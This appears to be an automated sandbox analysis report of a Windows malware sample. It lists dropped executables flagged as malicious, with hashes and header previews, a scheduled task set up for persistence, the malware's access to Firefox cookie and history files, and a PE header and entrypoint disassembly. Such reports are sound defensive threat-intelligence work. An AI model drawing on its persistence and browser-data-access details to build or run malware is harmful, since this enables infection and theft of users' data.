Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3047424
Entropy (8bit):	6.566703414589015
Encrypted:	false
SSDEEP:	49152:isilqKky+KMCXclIjF9ML4Im3AS7Vsu2yBxXQWxu58xdS:5iIKgKMCYO9ML+AS55BmWcY
MD5:	B48526E3264A9EBF9AE221DF76F8511E
SHA1:	51141F95D23355A1891B88E470B2C9A3E44BA92E
SHA-256:	42EE113CCF756A8E8950CB81A36558E707F20F59AEF11401CA08269CCE065C0F
SHA-512:	AD26656D29E916E06D26DE91F0DA8703C1F677BD369196E282F6E1EEC3A0BACA504A564607B4E6F7D18B8AC350428AAFF01E2F39CCC435715526DAAAE1A0E100
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................02...........@..........................`2...........@.................................W...k.............................2.............................D.2..................................................... . ............................@....rsrc...............................@....idata ............................@...sftdblig.p+......d+.................@...tqdamjfv..... 2......Z..............@....taggant.0...02.."...^..............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	5.373526076776734
Encrypted:	false
SSDEEP:	24:OBfNaoQnba+Gbba+kINePKllDQnba+gBfNaoQ+vVhNgFBYpDQ+vVnBfNaoQ+Oa17:SfNaoQnvAvkTEQnvQfNaoQUQQfNaoQJg
MD5:	A4EEF33F1274A5B189BE31FA7FC47DB4
SHA1:	4C2180055B0157B5882BE0751F6DF15868343F71
SHA-256:	826093B29FC996B5FBAEA1C4A2FF6098F84A7B5D4883572B3D6DB8CF8F3099B7
SHA-512:	1228CD982DDEF51DB6203E13CB97F8178F0A5255750C7992B36D865DFDCAECC63877C362202DCF5914741E2A37DE8AD2F57A5F8F99333509F6BB75B14400F993
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7A512FE197D53CD05F0A628286D8B23A",.. "id": "7A512FE197D53CD05F0A628286D8B23A",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7A512FE197D53CD05F0A628286D8B23A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/CFF3570248C1292EFBED0B4258157B60",.. "id": "CFF3570248C1292EFBED0B4258157B60",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/CFF3570248C1292EFBED0B4258157B60"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Download File

Process:	C:\Users\user\Desktop\AWrVzd6XpC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2869248
Entropy (8bit):	6.511526933269248
Encrypted:	false
SSDEEP:	49152:+mgTHPu1lHHXvu4jEA9aekO61c9jWcM02X8:tgTHPu1lHHXvu4jxI9c9jWD8
MD5:	696EE1C9D08773339EFE314269DCF7F5
SHA1:	21BFB4FCB39CCC3969A0D07CF743B113D64A1C63
SHA-256:	57014FE84559FA166DB76F925753B65E9B18FC6E175E7C6900B67B4487E6C519
SHA-512:	EB7B0CA0510D332C123C2CDD998E7C8AF22F1922FF5F1F8075C8774A93E46268E7965D9EC763F45AD8CD70A0E649DD3041338C2638792A9552590F3922463E14
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@..........................0O.....j&,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...oiorywlp.0...$..&..\|..............@...yzgbcaqs......N.......+.............@....taggant.0....O.."....+.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe

Download File

Process:	C:\Users\user\Desktop\AWrVzd6XpC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1733632
Entropy (8bit):	7.9334925624279675
Encrypted:	false
SSDEEP:	49152:ICFUVyLzGjXWYudfHGVEvIMsamk2SZwkFQZ:LGyLz2X5udfMsYkXqsQ
MD5:	9DFBAEBCE6E517991F34B94C67A038E2
SHA1:	82FC1E85FE38A59248FC43837A6F0D32F3F0C0BE
SHA-256:	1B625C9923C41449ED1FDCE417C57890367204340C2236B4B2F44CA864AE14AD
SHA-512:	DD88ABB1F9D0B0FD441E9333B64A88C5F66FB40C8F1CA8C98E4D04299E970410DDC49B60EADFBE7B76A74EF0A4D39CCA270D4364D9D83AB66E777CA44257D4D4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............E.. ...`....@.. .......................@E.....H.....`.................................U...i....`..D........................................................................................................... . .@... ....... ..............@....rsrc...D....`.......2..............@....idata . ...........6..............@... . ..........8..............@...pwjairst. ..........:..............@...lcewkiss. ....D......L..............@....taggant.@....E.."...R..............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\GCBKECAKFB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3047424
Entropy (8bit):	6.566703414589015
Encrypted:	false
SSDEEP:	49152:isilqKky+KMCXclIjF9ML4Im3AS7Vsu2yBxXQWxu58xdS:5iIKgKMCYO9ML+AS55BmWcY
MD5:	B48526E3264A9EBF9AE221DF76F8511E
SHA1:	51141F95D23355A1891B88E470B2C9A3E44BA92E
SHA-256:	42EE113CCF756A8E8950CB81A36558E707F20F59AEF11401CA08269CCE065C0F
SHA-512:	AD26656D29E916E06D26DE91F0DA8703C1F677BD369196E282F6E1EEC3A0BACA504A564607B4E6F7D18B8AC350428AAFF01E2F39CCC435715526DAAAE1A0E100
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................02...........@..........................`2...........@.................................W...k.............................2.............................D.2..................................................... . ............................@....rsrc...............................@....idata ............................@...sftdblig.p+......d+.................@...tqdamjfv..... 2......Z..............@....taggant.0...02.."...^..............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\GCBKECAKFB.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3047424
Entropy (8bit):	6.566703414589015
Encrypted:	false
SSDEEP:	49152:isilqKky+KMCXclIjF9ML4Im3AS7Vsu2yBxXQWxu58xdS:5iIKgKMCYO9ML+AS55BmWcY
MD5:	B48526E3264A9EBF9AE221DF76F8511E
SHA1:	51141F95D23355A1891B88E470B2C9A3E44BA92E
SHA-256:	42EE113CCF756A8E8950CB81A36558E707F20F59AEF11401CA08269CCE065C0F
SHA-512:	AD26656D29E916E06D26DE91F0DA8703C1F677BD369196E282F6E1EEC3A0BACA504A564607B4E6F7D18B8AC350428AAFF01E2F39CCC435715526DAAAE1A0E100
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................02...........@..........................`2...........@.................................W...k.............................2.............................D.2..................................................... . ............................@....rsrc...............................@....idata ............................@...sftdblig.p+......d+.................@...tqdamjfv..... 2......Z..............@....taggant.0...02.."...^..............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\GCBKECAKFB.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4113107280364106
Encrypted:	false
SSDEEP:	6:jWcXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lHtqt0:Cmf2RKQ1CGAFAjzvYRQVHkt0
MD5:	FBBF6BB6749BCBD62E5A703C337B1C9B
SHA1:	38FE9A0C6915B38DA38EA56F99E1BEF235B73BED
SHA-256:	C9BB8244A511983327CAC98867EC9D8A499F0661D58CB59C0951C9340F44E621
SHA-512:	E203D95F55CEB39B3D231ACF53A90B23252D566126312219720557E7B44E0EBFA01C4785C9C2D932EF8BC7E1583E4FB6247EDF7BA5553C587868E9E1FD3D59E2
Malicious:	false
Preview:	....=..^...B.D....{.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................:.@3P.........................

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (854)
Category:	downloaded
Size (bytes):	859
Entropy (8bit):	5.183588630645812
Encrypted:	false
SSDEEP:	24:BO+YVOtXTEhYvBBHslgT9lCuABAT1hquoB7HHHHHHHYqmffffffo:BO+xNoYvBKlgZ01BAquSEqmffffffo
MD5:	850D0F3691F72F0C3F72A151A86723C2
SHA1:	2326426716A4469C11F85FC00B8CB05404F23D14
SHA-256:	BEE8E6111A21AA881D16647E7F135B5D34B8A9A7155CE41D8125D768FF218531
SHA-512:	DC4C68EBF48FB08BA891CFDDB710A3E34B803DC6B5C11264935A685E1C5534E1F793209E3389D426C5251E36671AF0823F2BF8172CBE760FC05F26B5D64ADE2D
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["recalled potato chips","cooking with kya","north pole profits monopoly go rewards","junior college ncaa eligibility","christmas travel weather forecast","karate kid legends movie trailer","steam winter sale 2024 games","taco bell crispy chicken nuggets"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggesteventid":-4979374802284723738,"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132723
Entropy (8bit):	5.436686229667354
Encrypted:	false
SSDEEP:	3072:fykJQ7O4N5dTm+syHEt4W3XdQ4Q6wuSr/nUW2i6o:fbQ7HTt/sHdQ4Q6wDfUW8o
MD5:	E55ED3D6FE07D7E18FDF297AB5AF2C99
SHA1:	C1DA116C5D8C458DB9CEB5B2D0CFDDAD3B0AAEDF
SHA-256:	7512F9BF2DCAC34AEC912C147654204BC317C41E57A1842AB6DB0A2D261942C1
SHA-512:	608E2F7095715E4585EB47B44453BD53F57B00EDFFC2BE04C32DC478A195E5244B697D764278EC019C53254DC1E540E70C2DF352F2EA67AA7662AA01CDF50B81
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950052569687839
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	AWrVzd6XpC.exe
File size:	1'862'144 bytes
MD5:	d0bb2fa7815ae25e59827dd3e8a710ba
SHA1:	013aa5756aa4fea565a5e4f576af688dc65d7435
SHA256:	e9d6b68a7005d52a9caa77bd238493442a002b09eeb6c52542a587631a92de88
SHA512:	c7cffa0c187073df5361f0e1654a0fa6ba2da05d9c503c28c4ac5a8437b65830ac23eeb2507f834995c307c770d0ee2f8295c653abbb21dbc980b1f8aacc85b4
SSDEEP:	49152:L2jxCMUk4I1hCR6tZiuOKrCg4OEcNwQ5SdnvNjULdb:L2jxCMUk/hCRKXcOzSdGB
TLSH:	B88533419BA32CE2D81580B1C77FD36B5E50190903D6D79CDA0C26569A3E3F2F829FA7
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................I...........@...........................J...........@.................................T0..h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x89d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FEE8C82433Ah
cmovs ebx, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FEE8C826335h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pushad
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
